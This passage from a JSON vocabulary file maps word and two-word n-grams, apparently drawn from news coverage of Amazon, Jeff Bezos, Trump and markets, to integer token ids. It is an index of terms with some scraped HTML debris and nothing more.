message\": 87844,\n  \"particularly drama\": 87845,\n  \"shutdown coast\": 87846,\n  \"provide timeline\": 87847,\n  \"2013\": 87848,\n  \"miguelottaviano\": 87849,\n  \"judged\": 87850,\n  \"hcx3zuhjoa niall\": 87851,\n  \"incrementally phased\": 87852,\n  \"sinks hard\": 87853,\n  \"investment worthy\": 87854,\n  \"critiqued\": 87855,\n  \"seize million\": 87856,\n  \"possible split\": 87857,\n  \"politically connected\": 87858,\n  \"ago girl\": 87859,\n  \"report estimated\": 87860,\n  \"advertising services\": 87861,\n  \"bezos response\": 87862,\n  \"findings public\": 87863,\n  \"women want\": 87864,\n  \"apply\": 87865,\n  \"care beauty\": 87866,\n  \"hates jeff\": 87867,\n  \"preet\": 87868,\n  \"company management\": 87869,\n  \"environment amazon\": 87870,\n  \"sad chapter\": 87871,\n  \"rudderless ship\": 87872,\n  \"doesnt spell\": 87873,\n  \"attend school\": 87874,\n  \"apple keeps\": 87875,\n  \"whopping\": 87876,\n  \"remain family\": 87877,\n  \"bradley cooper\": 87878,\n  \"subscription service\": 87879,\n  \"decision dressing\": 87880,\n  \"won game\": 87881,\n  \"rob\": 87882,\n  \"president charles\": 87883,\n  \"city represents\": 87884,\n  \"unwelcome\": 87885,\n  \"acceleration\": 87886,\n  \"amazon bianco\": 87887,\n  \"wisconsin father\": 87888,\n  \"case peter\": 87889,\n  \"traveling inpoland\": 87890,\n  \"legislative hill\": 87891,\n  \"yorkers asked\": 87892,\n  \"erupted\": 87893,\n  \"expecting number\": 87894,\n  \"recent election\": 87895,\n  \"nuclear negotiations\": 87896,\n  \"000 subjects\": 87897,\n  \"rips cnn\": 87898,\n  \"google disputed\": 87899,\n  \"spots semiconductor\": 87900,\n  \"commission agreed\": 87901,\n  \"trackers\": 87902,\n  \"play area\": 87903,\n  \"working overtime\": 87904,\n  \"lingerie cosmetics\": 87905,\n  \"including aerial\": 87906,\n  \"flsa\": 87907,\n  \"colman eric\": 87908,\n  \"sectors trading\": 87909,\n  \"unqualified loss\": 87910,\n  \"fall michael\": 87911,\n  \"far tonya\": 87912,\n  \"personal life\": 87913,\n  \"arone\": 87914,\n  \"investors jitters\": 87915,\n  \"halloween\": 87916,\n  \"backman amazon\": 87917,\n  \"publication breaking\": 87918,\n  \"governmental thing\": 87919,\n  \"nextplay overrides\": 87920,\n  \"ban trigger\": 87921,\n  \"\\u0430reaching million\": 87922,\n  \"republic jonathan\": 87923,\n  \"creation\": 87924,\n  \"kari\": 87925,\n  \"anti capitalist\": 87926,\n  \"law courses\": 87927,\n  \"power happened\": 87928,\n  \"market lebeau\": 87929,\n  \"review site\": 87930,\n  \"frame trump\": 87931,\n  \"unlimited funds\": 87932,\n  \"bonus\": 87933,\n  \"good relationship\": 87934,\n  \"net sales\": 87935,\n  \"battle think\": 87936,\n  \"outs especially\": 87937,\n  \"gigi butler\": 87938,\n  \"offering\": 87939,\n  \"dissatisfaction\": 87940,\n  \"antitrust activists\": 87941,\n  \"suggest bubble\": 87942,\n  \"philips\": 87943,\n  \"terrell place\": 87944,\n  \"trumpxi meeting\": 87945,\n  \"website called\": 87946,\n  \"seattle wa\": 87947,\n  \"brevis massive\": 87948,\n  \"ex vice\": 87949,\n  \"stunning details\": 87950,\n  \"report newsletter\": 87951,\n  \"david tied\": 87952,\n  \"war things\": 87953,\n  \"amazon considers\": 87954,\n  \"demands negotiations\": 87955,\n  \"thu\": 87956,\n  \"recalcitrant\": 87957,\n  \"books travel\": 87958,\n  \"glossary\": 87959,\n  \"unwinding\": 87960,\n  \"secondary emotional\": 87961,\n  \"starting jan\": 87962,\n  \"driving capabilities\": 87963,\n  \"dark horse\": 87964,\n  \"straddle tightrope\": 87965,\n  \"airplane manufacturer\": 87966,\n  \"897 million\": 87967,\n  \"deficit grew\": 87968,\n  \"know\": 87969,\n  \"edge amazon\": 87970,\n  \"beauty ami\": 87971,\n  \"explains amazon\": 87972,\n  \"news nbcnews\": 87973,\n  \"shakeouts\": 87974,\n  \"jpg gridhash\": 87975,\n  \"cetera jobs\": 87976,\n  \"getty xml\": 87977,\n  \"continues kyle\": 87978,\n  \"affect jeff\": 87979,\n  \"making close\": 87980,\n  \"revised lower\": 87981,\n  \"extremely popular\": 87982,\n  \"venture howorth\": 87983,\n  \"need genuinely\": 87984,\n  \"separation defending\": 87985,\n  \"forward indicators\": 87986,\n  \"winning future\": 87987,\n  \"n3x apply\": 87988,\n  \"wholly\": 87989,\n  \"helped crooked\": 87990,\n  \"blistering speech\": 87991,\n  \"alleged ninety\": 87992,\n  \"offer short\": 87993,\n  \"reactive\": 87994,\n  \"using play\": 87995,\n  \"rambling digressing\": 87996,\n  \"including cyber\": 87997,\n  \"better world\": 87998,\n  \"persuade federal\": 87999,\n  \"sprawling surveillance\": 88000,\n  \"consumer view\": 88001,\n  \"featured alec\": 88002,\n  \"popular word\": 88003,\n  \"coup major\": 88004,\n  \"grub street\": 88005,\n  \"solely responsible\": 88006,\n  \"meets magical\": 88007,\n  \"spare parts\": 88008,\n  \"foto sourceamazon\": 88009,\n  \"making bank\": 88010,\n  \"wire posts\": 88011,\n  \"jahnke\": 88012,\n  \"judicial nominee\": 88013,\n  \"nubai\": 88014,\n  \"just fraction\": 88015,\n  \"network did\": 88016,\n  \"trumpelthinskin\": 88017,\n  \"separate note\": 88018,\n  \"conspiracy pizzagate\": 88019,\n  \"130bn\": 88020,\n  \"plummeting mail\": 88021,\n  \"violated related\": 88022,\n  \"basil cathedral\": 88023,\n  \"barges\": 88024,\n  \"bg\": 88025,\n  \"kangaroo logo\": 88026,\n  \"649 6814\": 88027,\n  \"ring doorbell\": 88028,\n  \"social network\": 88029,\n  \"enquirer accessed\": 88030,\n  \"jolley parents\": 88031,\n  \"canada win\": 88032,\n  \"lady dis\": 88033,\n  \"john antczak\": 88034,\n  \"cautious approach\": 88035,\n  \"process wendy\": 88036,\n  \"month olsavsky\": 88037,\n  \"real equalizer\": 88038,\n  \"calendars economic\": 88039,\n  \"profit quick\": 88040,\n  \"catchers\": 88041,\n  \"includes taking\": 88042,\n  \"mcmillandoolittle digital\": 88043,\n  \"unconditionally bezos\": 88044,\n  \"relaunch\": 88045,\n  \"lame\": 88046,\n  \"obsessive following\": 88047,\n  \"search grim\": 88048,\n  \"chatham run\": 88049,\n  \"think making\": 88050,\n  \"skincare depository\": 88051,\n  \"stavridis operating\": 88052,\n  \"important elements\": 88053,\n  \"2017 ryan\": 88054,\n  \"including apple\": 88055,\n  \"reuters acting\": 88056,\n  \"measurably\": 88057,\n  \"evading taxes\": 88058,\n  \"significant financial\": 88059,\n  \"america new\": 88060,\n  \"listing worth\": 88061,\n  \"need monitoring\": 88062,\n  \"amazon 543\": 88063,\n  \"fox thinks\": 88064,\n  \"amid real\": 88065,\n  \"critical data\": 88066,\n  \"mistake\": 88067,\n  \"main online\": 88068,\n  \"atmosphere scientists\": 88069,\n  \"bakery theater\": 88070,\n  \"770 shares\": 88071,\n  \"times stated\": 88072,\n  \"fueling condo\": 88073,\n  \"4355\": 88074,\n  \"negatives\": 88075,\n  \"trump yes\": 88076,\n  \"thinks online\": 88077,\n  \"medication assisted\": 88078,\n  \"amazon buzzfeed\": 88079,\n  \"thoughts tonight\": 88080,\n  \"harf\": 88081,\n  \"dpd parcel\": 88082,\n  \"providers isps\": 88083,\n  \"isn cleveland\": 88084,\n  \"philanthropic donation\": 88085,\n  \"sensible compromise\": 88086,\n  \"druckenmiller\": 88087,\n  \"points nasdaq\": 88088,\n  \"piece lauding\": 88089,\n  \"expensive state\": 88090,\n  \"election problems\": 88091,\n  \"paper year\": 88092,\n  \"equity strategist\": 88093,\n  \"price transparency\": 88094,\n  \"autos iot\": 88095,\n  \"photo steve\": 88096,\n  \"529\": 88097,\n  \"nests day\": 88098,\n  \"profit partner\": 88099,\n  \"ohio sounds\": 88100,\n  \"oversaturated\": 88101,\n  \"michael gianaris\": 88102,\n  \"rod raised\": 88103,\n  \"consumer portfolios\": 88104,\n  \"hefty gains\": 88105,\n  \"divorced trump\": 88106,\n  \"seeing dozens\": 88107,\n  \"close tamara\": 88108,\n  \"good numbers\": 88109,\n  \"industry giants\": 88110,\n  \"bezos myth\": 88111,\n  \"false cardcontents\": 88112,\n  \"aid money\": 88113,\n  \"tech jocks\": 88114,\n  \"flex dave\": 88115,\n  \"zuckerberg technology\": 88116,\n  \"stung\": 88117,\n  \"aviva kana\": 88118,\n  \"corn prices\": 88119,\n  \"awaits facebook\": 88120,\n  \"virginia technology\": 88121,\n  \"sent list\": 88122,\n  \"nelson kenmore\": 88123,\n  \"chicagoist\": 88124,\n  \"sector employer\": 88125,\n  \"regular republicans\": 88126,\n  \"ruined\": 88127,\n  \"owner meredith\": 88128,\n  \"hats\": 88129,\n  \"agricultural sector\": 88130,\n  \"new fresh\": 88131,\n  \"asked galloway\": 88132,\n  \"ro khannarohit\": 88133,\n  \"shabby design\": 88134,\n  \"weapons treaty\": 88135,\n  \"main arguments\": 88136,\n  \"economy bribing\": 88137,\n  \"community really\": 88138,\n  \"hidden tax\": 88139,\n  \"giving 150\": 88140,\n  \"500 company\": 88141,\n  \"gardner thank\": 88142,\n  \"reached preliminary\": 88143,\n  \"dialogue\": 88144,\n  \"concerns critics\": 88145,\n  \"company technology\": 88146,\n  \"announced housing\": 88147,\n  \"lott\": 88148,\n  \"onetime economic\": 88149,\n  \"having sex\": 88150,\n  \"group follows\": 88151,\n  \"separate amazon\": 88152,\n  \"seeing pretty\": 88153,\n  \"book does\": 88154,\n  \"maintains overweight\": 88155,\n  \"opposes abortion\": 88156,\n  \"customers hot\": 88157,\n  \"similar face\": 88158,\n  \"giants amazon\": 88159,\n  \"jpg img_tile_override_imageref\": 88160,\n  \"offset upbeat\": 88161,\n  \"using short\": 88162,\n  \"russian collusion\": 88163,\n  \"source cbs\": 88164,\n  \"raedle president\": 88165,\n  \"sale\": 88166,\n  \"services sector\": 88167,\n  \"targeted promoted\": 88168,\n  \"psychologically\": 88169,\n  \"kennedy set\": 88170,\n  \"turned media\": 88171,\n  \"spacious smooth\": 88172,\n  \"montpelier seeking\": 88173,\n  \"leave plenty\": 88174,\n  \"higher concentration\": 88175,\n  \"book seller\": 88176,\n  \"greeting\": 88177,\n  \"2018 florida\": 88178,\n  \"debuts\": 88179,\n  \"spreading false\": 88180,\n  \"trained teams\": 88181,\n  \"perla\": 88182,\n  \"healthcare opportunity\": 88183,\n  \"identified democratic\": 88184,\n  \"2018 nexstar\": 88185,\n  \"return phone\": 88186,\n  \"kevin kwan\": 88187,\n  \"cycling water\": 88188,\n  \"dc event\": 88189,\n  \"life insur\": 88190,\n  \"trust invested\": 88191,\n  \"force confirmed\": 88192,\n  \"christmas buzz60\": 88193,\n  \"cortez ability\": 88194,\n  \"distortions\": 88195,\n  \"jonathan evans\": 88196,\n  \"fallen trees\": 88197,\n  \"crisis bezos\": 88198,\n  \"prices including\": 88199,\n  \"younger sulzberger\": 88200,\n  \"barr department\": 88201,\n  \"m4\": 88202,\n  \"view edit\": 88203,\n  \"thomas black\": 88204,\n  \"novey viking\": 88205,\n  \"lines belk\": 88206,\n  \"earn decent\": 88207,\n  \"kong skidded\": 88208,\n  \"habit\": 88209,\n  \"lawn wish\": 88210,\n  \"sister romance\": 88211,\n  \"right brazilian\": 88212,\n  \"cable customers\": 88213,\n  \"viking\": 88214,\n  \"world service\": 88215,\n  \"law jared\": 88216,\n  \"margaret sullivan\": 88217,\n  \"working retail\": 88218,\n  \"bezos alleges\": 88219,\n  \"condo\": 88220,\n  \"potential run\": 88221,\n  \"power planned\": 88222,\n  \"huge range\": 88223,\n  \"sector president\": 88224,\n  \"discussed karl\": 88225,\n  \"creators update\": 88226,\n  \"helping small\": 88227,\n  \"confiscate amazon\": 88228,\n  \"widely applauded\": 88229,\n  \"lemoyne\": 88230,\n  \"museum read\": 88231,\n  \"uniforms fuel\": 88232,\n  \"tusk ceo\": 88233,\n  \"overall integrity\": 88234,\n  \"league soccer\": 88235,\n  \"sportswear\": 88236,\n  \"wispy conspiracy\": 88237,\n  \"angerer\": 88238,\n  \"subsidiary kbr\": 88239,\n  \"names anonymized\": 88240,\n  \"road collapse\": 88241,\n  \"months ago\": 88242,\n  \"colin lecher\": 88243,\n  \"html stock\": 88244,\n  \"spearheaded penny\": 88245,\n  \"assails theory\": 88246,\n  \"soapbox youtube\": 88247,\n  \"trump taunt\": 88248,\n  \"feb 2017\": 88249,\n  \"breaks form\": 88250,\n  \"story sex\": 88251,\n  \"swirled\": 88252,\n  \"recent policy\": 88253,\n  \"q4 earnings\": 88254,\n  \"ruled niagara\": 88255,\n  \"offerup\": 88256,\n  \"collect coins\": 88257,\n  \"suburb treats\": 88258,\n  \"subsidies cuomo\": 88259,\n  \"michigan fight\": 88260,\n  \"electric nyse\": 88261,\n  \"demand bolstered\": 88262,\n  \"felt uncomfortable\": 88263,\n  \"amazon wraps\": 88264,\n  \"convenience store\": 88265,\n  \"schools closings\": 88266,\n  \"film starts\": 88267,\n  \"kill stories\": 88268,\n  \"election recount\": 88269,\n  \"strong men\": 88270,\n  \"officials eager\": 88271,\n  \"prepare food\": 88272,\n  \"pledge millions\": 88273,\n  \"addresses fundamental\": 88274,\n  \"despite revenues\": 88275,\n  \"factor million\": 88276,\n  \"surprisingly brilliant\": 88277,\n  \"including contract\": 88278,\n  \"whitaker aidy\": 88279,\n  \"claim criticizing\": 88280,\n  \"fortune 500\": 88281,\n  \"inside\": 88282,\n  \"shifting role\": 88283,\n  \"various hats\": 88284,\n  \"technology jacob\": 88285,\n  \"nasdaq 100\": 88286,\n  \"discussion agenda\": 88287,\n  \"alarm buy\": 88288,\n  \"time delivery\": 88289,\n  \"access sanchez\": 88290,\n  \"google provides\": 88291,\n  \"journalists calling\": 88292,\n  \"arraigned\": 88293,\n  \"amazon challenged\": 88294,\n  \"seriously david\": 88295,\n  \"know china\": 88296,\n  \"initially popped\": 88297,\n  \"past ones\": 88298,\n  \"press rhetoric\": 88299,\n  \"average beyonce\": 88300,\n  \"video bezos\": 88301,\n  \"temporary incentive\": 88302,\n  \"exclusive barcode\": 88303,\n  \"glinted\": 88304,\n  \"issued memorandum\": 88305,\n  \"trump colbert\": 88306,\n  \"emotionally investing\": 88307,\n  \"storage space\": 88308,\n  \"interior senior\": 88309,\n  \"amazon staggering\": 88310,\n  \"free online\": 88311,\n  \"greenpeace brazil\": 88312,\n  \"firecracker microvm\": 88313,\n  \"james marsden\": 88314,\n  \"deal thesubsidies\": 88315,\n  \"federal credit\": 88316,\n  \"housing offshore\": 88317,\n  \"history new\": 88318,\n  \"emoluments clause\": 88319,\n  \"fox business\": 88320,\n  \"john kennedy\": 88321,\n  \"track ai\": 88322,\n  \"890 billion\": 88323,\n  \"sold notably\": 88324,\n  \"amazon action\": 88325,\n  \"disclosure reports\": 88326,\n  \"undeniably\": 88327,\n  \"trump carterpage\": 88328,\n  \"reduces child\": 88329,\n  \"fairly standard\": 88330,\n  \"police station\": 88331,\n  \"bailing won\": 88332,\n  \"eerily similar\": 88333,\n  \"touchdown\": 88334,\n  \"draghi\": 88335,\n  \"seriously challenge\": 88336,\n  \"coverage undaunted\": 88337,\n  \"signature overcoming\": 88338,\n  \"real lobbyists\": 88339,\n  \"banff media\": 88340,\n  \"poster child\": 88341,\n  \"pumpkin pie\": 88342,\n  \"burrito properly\": 88343,\n  \"relying solely\": 88344,\n  \"fraud charges\": 88345,\n  \"nation biggest\": 88346,\n  \"president men\": 88347,\n  \"ditches\": 88348,\n  \"provide better\": 88349,\n  \"members\": 88350,\n  \"cypress asset\": 88351,\n  \"publishing photos\": 88352,\n  \"charitable commitments\": 88353,\n  \"billboards promoting\": 88354,\n  \"mcld otc\": 88355,\n  \"ernst\": 88356,\n  \"mcgarvey\": 88357,\n  \"almed pioneering\": 88358,\n  \"2nd trump\": 88359,\n  \"campaign monitors\": 88360,\n  \"tara copp\": 88361,\n  \"landers longhairs\": 88362,\n  \"access australian\": 88363,\n  \"massachusetts sen\": 88364,\n  \"thing senddonaldtospace\": 88365,\n  \"people jogged\": 88366,\n  \"smooth reveal\": 88367,\n  \"establishing campuses\": 88368,\n  \"multiple emmys\": 88369,\n  \"previous article\": 88370,\n  \"creative dope\": 88371,\n  \"covers culture\": 88372,\n  \"travel water\": 88373,\n  \"miles 2018\": 88374,\n  \"docuseries\": 88375,\n  \"joined knowing\": 88376,\n  \"poisoning effort\": 88377,\n  \"began reaping\": 88378,\n  \"drastically growing\": 88379,\n  \"group poached\": 88380,\n  \"potential mishmash\": 88381,\n  \"easily challenge\": 88382,\n  \"sidelined products\": 88383,\n  \"decidedly unfair\": 88384,\n  \"hit online\": 88385,\n  \"sunlight\": 88386,\n  \"2020 politics\": 88387,\n  \"ilieanna douglas\": 88388,\n  \"child victim\": 88389,\n  \"konst say\": 88390,\n  \"storyurl domain\": 88391,\n  \"e8 b8\": 88392,\n  \"worst job\": 88393,\n  \"second employee\": 88394,\n  \"substantial unemployment\": 88395,\n  \"0941et\": 88396,\n  \"confer\": 88397,\n  \"build credible\": 88398,\n  \"racing\": 88399,\n  \"critter\": 88400,\n  \"haunted houses\": 88401,\n  \"nominate second\": 88402,\n  \"track housing\": 88403,\n  \"political reporter\": 88404,\n  \"quite old\": 88405,\n  \"c9 a4ee\": 88406,\n  \"alcoa explains\": 88407,\n  \"golden egg\": 88408,\n  \"maher live\": 88409,\n  \"trump attempt\": 88410,\n  \"new people\": 88411,\n  \"just hiked\": 88412,\n  \"dead heat\": 88413,\n  \"mind\": 88414,\n  \"portal shop\": 88415,\n  \"kristen\": 88416,\n  \"sato ap\": 88417,\n  \"fuels\": 88418,\n  \"ramifications\": 88419,\n  \"photo day\": 88420,\n  \"wildfire torel\": 88421,\n  \"angered\": 88422,\n  \"twitter twtr\": 88423,\n  \"making strategic\": 88424,\n  \"driver fell\": 88425,\n  \"decent living\": 88426,\n  \"sloppy tabloid\": 88427,\n  \"599 rtx\": 88428,\n  \"btenerellabr\": 88429,\n  \"compensation\": 88430,\n  \"photos allegedly\": 88431,\n  \"president bush\": 88432,\n  \"hatch ut\": 88433,\n  \"italy right\": 88434,\n  \"hike etsy\": 88435,\n  \"body a4ee\": 88436,\n  \"revisits\": 88437,\n  \"caption imagealt\": 88438,\n  \"mahlum brian\": 88439,\n  \"balogh\": 88440,\n  \"accidentally typed\": 88441,\n  \"correspondence shows\": 88442,\n  \"joining trump\": 88443,\n  \"spurs investors\": 88444,\n  \"publicly attacked\": 88445,\n  \"powerful considering\": 88446,\n  \"board investors\": 88447,\n  \"span hasclass\": 88448,\n  \"marketing campaign\": 88449,\n  \"stoughton buy\": 88450,\n  \"google poll\": 88451,\n  \"239 batting\": 88452,\n  \"cpl t2\": 88453,\n  \"nycha moving\": 88454,\n  \"preserve\": 88455,\n  \"sent acosta\": 88456,\n  \"afp jim\": 88457,\n  \"act requests\": 88458,\n  \"lavigne\": 88459,\n  \"penn hro\": 88460,\n  \"preposterous\": 88461,\n  \"newspapers coverage\": 88462,\n  \"smith mingles\": 88463,\n  \"days jeff\": 88464,\n  \"reportedly lose\": 88465,\n  \"null cnl_calcaccesplact_content_content\": 88466,\n  \"scout\": 88467,\n  \"mass location\": 88468,\n  \"new old\": 88469,\n  \"cdc_5ce292595c0ee1373097e27d_embed\": 88470,\n  \"parseint progress\": 88471,\n  \"murder mystery\": 88472,\n  \"criminal summons\": 88473,\n  \"previous employer\": 88474,\n  \"suspended\": 88475,\n  \"delivery aircraft\": 88476,\n  \"says big\": 88477,\n  \"blocked notifications\": 88478,\n  \"emissaries\": 88479,\n  \"rat rat\": 88480,\n  \"service compiled\": 88481,\n  \"national government\": 88482,\n  \"trump remembered\": 88483,\n  \"tactics including\": 88484,\n  \"leaked messages\": 88485,\n  \"washington won\": 88486,\n  \"president support\": 88487,\n  \"officials scrambled\": 88488,\n  \"uber management\": 88489,\n  \"recipe\": 88490,\n  \"indicated low\": 88491,\n  \"seo\": 88492,\n  \"alan\": 88493,\n  \"leader advised\": 88494,\n  \"climate report\": 88495,\n  \"sells things\": 88496,\n  \"wants artists\": 88497,\n  \"henniger\": 88498,\n  \"little changes\": 88499,\n  \"upwardly\": 88500,\n  \"fake covers\": 88501,\n  \"warner acquisition\": 88502,\n  \"sickness\": 88503,\n  \"financial liability\": 88504,\n  \"remedy designate\": 88505,\n  \"facebook conservative\": 88506,\n  \"distilling 125\": 88507,\n  \"charlton having\": 88508,\n  \"reuters mike\": 88509,\n  \"intercompany\": 88510,\n  \"small fortunes\": 88511,\n  \"impact politico\": 88512,\n  \"dumbest pissing\": 88513,\n  \"email inbox\": 88514,\n  \"p6\": 88515,\n  \"favorable consumer\": 88516,\n  \"investigator told\": 88517,\n  \"amazon measurement\": 88518,\n  \"giro\": 88519,\n  \"interview sanders\": 88520,\n  \"millercoors sues\": 88521,\n  \"handles close\": 88522,\n  \"ellison letter\": 88523,\n  \"raised stakes\": 88524,\n  \"talks jeopardized\": 88525,\n  \"buddy dyer\": 88526,\n  \"new day\": 88527,\n  \"cost amazon\": 88528,\n  \"national sensation\": 88529,\n  \"cnn phil\": 88530,\n  \"vietnam war\": 88531,\n  \"video music\": 88532,\n  \"latest refinancing\": 88533,\n  \"uncertain political\": 88534,\n  \"regulating\": 88535,\n  \"presently\": 88536,\n  \"intermittently pressured\": 88537,\n  \"commission filing\": 88538,\n  \"pentagon deal\": 88539,\n  \"latest fund\": 88540,\n  \"logan\": 88541,\n  \"collins nyse\": 88542,\n  \"service earnings\": 88543,\n  \"beat expectations\": 88544,\n  \"frank conference\": 88545,\n  \"jpg loadedfully\": 88546,\n  \"kill policy\": 88547,\n  \"benzinga published\": 88548,\n  \"molinari genny\": 88549,\n  \"wearyingly frequent\": 88550,\n  \"usps billions\": 88551,\n  \"certainly raise\": 88552,\n  \"deal just\": 88553,\n  \"queen citi\": 88554,\n  \"spoils\": 88555,\n  \"travelpod iq\": 88556,\n  \"discover credit\": 88557,\n  \"books ship\": 88558,\n  \"tough question\": 88559,\n  \"getting information\": 88560,\n  \"included lowering\": 88561,\n  \"emanuel macron\": 88562,\n  \"southern california\": 88563,\n  \"broader portfolio\": 88564,\n  \"warehouses personally\": 88565,\n  \"1300 direct\": 88566,\n  \"measure trump\": 88567,\n  \"case include\": 88568,\n  \"products companies\": 88569,\n  \"presidential endorsement\": 88570,\n  \"bezos dates\": 88571,\n  \"corporate leaders\": 88572,\n  \"exact point\": 88573,\n  \"monopoly powers\": 88574,\n  \"law journal\": 88575,\n  \"amazingly\": 88576,\n  \"best bank\": 88577,\n  \"press know\": 88578,\n  \"court handed\": 88579,\n  \"extend\": 88580,\n  \"set spending\": 88581,\n  \"investigating catch\": 88582,\n  \"norton collection\": 88583,\n  \"afro asian\": 88584,\n  \"supermicro disputed\": 88585,\n  \"soe\": 88586,\n  \"amazon snubbed\": 88587,\n  \"economy edited\": 88588,\n  \"tide\": 88589,\n  \"good haverty\": 88590,\n  \"gains steam\": 88591,\n  \"christie\": 88592,\n  \"turkey warns\": 88593,\n  \"occ began\": 88594,\n  \"including rekognition\": 88595,\n  \"benchmark research\": 88596,\n  \"claiming kelly\": 88597,\n  \"wallet\": 88598,\n  \"report emails\": 88599,\n  \"cashierless amazon\": 88600,\n  \"ninth\": 88601,\n  \"dinner given\": 88602,\n  \"watch stuart\": 88603,\n  \"paying attention\": 88604,\n  \"lawrence donnell\": 88605,\n  \"love california\": 88606,\n  \"2012 google\": 88607,\n  \"forbes trump\": 88608,\n  \"erinegloff3485\": 88609,\n  \"promote conservative\": 88610,\n  \"california berkeley\": 88611,\n  \"perception reinforced\": 88612,\n  \"organizations promoting\": 88613,\n  \"value exchange\": 88614,\n  \"offered car\": 88615,\n  \"fancy seattle\": 88616,\n  \"current gear\": 88617,\n  \"yuan\": 88618,\n  \"subscribers buying\": 88619,\n  \"microinvesting makes\": 88620,\n  \"amazon 3175\": 88621,\n  \"farheen mirza\": 88622,\n  \"details weren\": 88623,\n  \"strike san\": 88624,\n  \"925\": 88625,\n  \"bezos media\": 88626,\n  \"pursue cost\": 88627,\n  \"upbeat day\": 88628,\n  \"460 type\": 88629,\n  \"term does\": 88630,\n  \"pulled clothes\": 88631,\n  \"oliver points\": 88632,\n  \"abnormally\": 88633,\n  \"verifying\": 88634,\n  \"globaldata research\": 88635,\n  \"jerry brown\": 88636,\n  \"deal remember\": 88637,\n  \"merge lately\": 88638,\n  \"line china\": 88639,\n  \"babes\": 88640,\n  \"local public\": 88641,\n  \"gunpowder\": 88642,\n  \"local industrial\": 88643,\n  \"meng member\": 88644,\n  \"tunneling initiatives\": 88645,\n  \"lips love\": 88646,\n  \"businesses complete\": 88647,\n  \"fewer birthday\": 88648,\n  \"wet clothes\": 88649,\n  \"bombshell allegations\": 88650,\n  \"casone fox\": 88651,\n  \"trump super\": 88652,\n  \"i4 v4\": 88653,\n  \"wants jobs\": 88654,\n  \"mackenzie handled\": 88655,\n  \"apprehension\": 88656,\n  \"federal purse\": 88657,\n  \"favorability positive\": 88658,\n  \"scary character\": 88659,\n  \"press congressman\": 88660,\n  \"drago\": 88661,\n  \"sitcom impresario\": 88662,\n  \"follow kyle\": 88663,\n  \"defends monopoly\": 88664,\n  \"steve lookner\": 88665,\n  \"delivery package\": 88666,\n  \"shark attack\": 88667,\n  \"poison\": 88668,\n  \"statement signed\": 88669,\n  \"steel bottles\": 88670,\n  \"diving\": 88671,\n  \"processing fintech\": 88672,\n  \"285 billion\": 88673,\n  \"iconic sears\": 88674,\n  \"sweat interestingly\": 88675,\n  \"faram\": 88676,\n  \"taking away\": 88677,\n  \"year report\": 88678,\n  \"incorporate vegans\": 88679,\n  \"disturbing pattern\": 88680,\n  \"irresistible hypocrisy\": 88681,\n  \"targeted usps\": 88682,\n  \"little risk\": 88683,\n  \"2750521 divorce\": 88684,\n  \"seeding changes\": 88685,\n  \"possible collusion\": 88686,\n  \"china foxconn\": 88687,\n  \"conflate\": 88688,\n  \"harshest critics\": 88689,\n  \"max garland\": 88690,\n  \"1920s women\": 88691,\n  \"trade netflix\": 88692,\n  \"mayans\": 88693,\n  \"street overview\": 88694,\n  \"doctor office\": 88695,\n  \"incumbent players\": 88696,\n  \"page\": 88697,\n  \"kabul\": 88698,\n  \"highs earnings\": 88699,\n  \"dreidels win\": 88700,\n  \"alzheimer\": 88701,\n  \"meltdown circus\": 88702,\n  \"better sounds\": 88703,\n  \"service late\": 88704,\n  \"highland center\": 88705,\n  \"interactive map\": 88706,\n  \"excess stock\": 88707,\n  \"saying sanders\": 88708,\n  \"deal sources\": 88709,\n  \"vhi vn\": 88710,\n  \"shooting amazon\": 88711,\n  \"differing\": 88712,\n  \"outlets began\": 88713,\n  \"offload\": 88714,\n  \"ensnaring\": 88715,\n  \"rewrite nafta\": 88716,\n  \"reviewed satellite\": 88717,\n  \"2016 run\": 88718,\n  \"kentucky international\": 88719,\n  \"scandals today\": 88720,\n  \"bezos feet\": 88721,\n  \"evolving love\": 88722,\n  \"scanning technology\": 88723,\n  \"healthcare amazon\": 88724,\n  \"trump stretching\": 88725,\n  \"fact ms\": 88726,\n  \"actually profitable\": 88727,\n  \"repeatedly denied\": 88728,\n  \"ecommerce raised\": 88729,\n  \"offering different\": 88730,\n  \"temperatures floods\": 88731,\n  \"rich gulf\": 88732,\n  \"harvested baby\": 88733,\n  \"language film\": 88734,\n  \"government association\": 88735,\n  \"close apple\": 88736,\n  \"sector stocks\": 88737,\n  \"gaza strip\": 88738,\n  \"digit goal\": 88739,\n  \"career earning\": 88740,\n  \"buoyed\": 88741,\n  \"miffed\": 88742,\n  \"vandermeer embedded\": 88743,\n  \"comment add\": 88744,\n  \"eu helped\": 88745,\n  \"planning vacation\": 88746,\n  \"senator speaking\": 88747,\n  \"trying legalized\": 88748,\n  \"hotel executives\": 88749,\n  \"daily newspaper\": 88750,\n  \"enjoy feeling\": 88751,\n  \"cost solution\": 88752,\n  \"181003143415 airbnb\": 88753,\n  \"platform business\": 88754,\n  \"bid doesn\": 88755,\n  \"tricks nintendo\": 88756,\n  \"broad leeway\": 88757,\n  \"squabbles\": 88758,\n  \"000 accounts\": 88759,\n  \"economic evidence\": 88760,\n  \"share stories\": 88761,\n  \"final voters\": 88762,\n  \"makes electronic\": 88763,\n  \"petty thing\": 88764,\n  \"line ford\": 88765,\n  \"world food\": 88766,\n  \"just announced\": 88767,\n  \"employees bezos\": 88768,\n  \"despite setting\": 88769,\n  \"tribes mission\": 88770,\n  \"randomly chosen\": 88771,\n  \"acting\": 88772,\n  \"trump golf\": 88773,\n  \"online seller\": 88774,\n  \"progressive david\": 88775,\n  \"blacks\": 88776,\n  \"exhibiting\": 88777,\n  \"package income\": 88778,\n  \"media__over text\": 88779,\n  \"atlanta jessica\": 88780,\n  \"abruptly issued\": 88781,\n  \"voluminous report\": 88782,\n  \"assertive\": 88783,\n  \"horror moment\": 88784,\n  \"agency run\": 88785,\n  \"highly toxic\": 88786,\n  \"losartan\": 88787,\n  \"turned profit\": 88788,\n  \"favor bezos\": 88789,\n  \"key time\": 88790,\n  \"alansmurray\": 88791,\n  \"systemic problem\": 88792,\n  \"republicans work\": 88793,\n  \"nations earlier\": 88794,\n  \"whopping 177\": 88795,\n  \"new 000\": 88796,\n  \"different apple\": 88797,\n  \"yr\": 88798,\n  \"identify people\": 88799,\n  \"story rawstory\": 88800,\n  \"mcdougal story\": 88801,\n  \"strong ties\": 88802,\n  \"contain audio\": 88803,\n  \"petty revenge\": 88804,\n  \"brexit plan\": 88805,\n  \"children restrict\": 88806,\n  \"brand denied\": 88807,\n  \"unusual negotiations\": 88808,\n  \"piece leaves\": 88809,\n  \"ardently opposed\": 88810,\n  \"constitutional protections\": 88811,\n  \"company maga\": 88812,\n  \"commercial 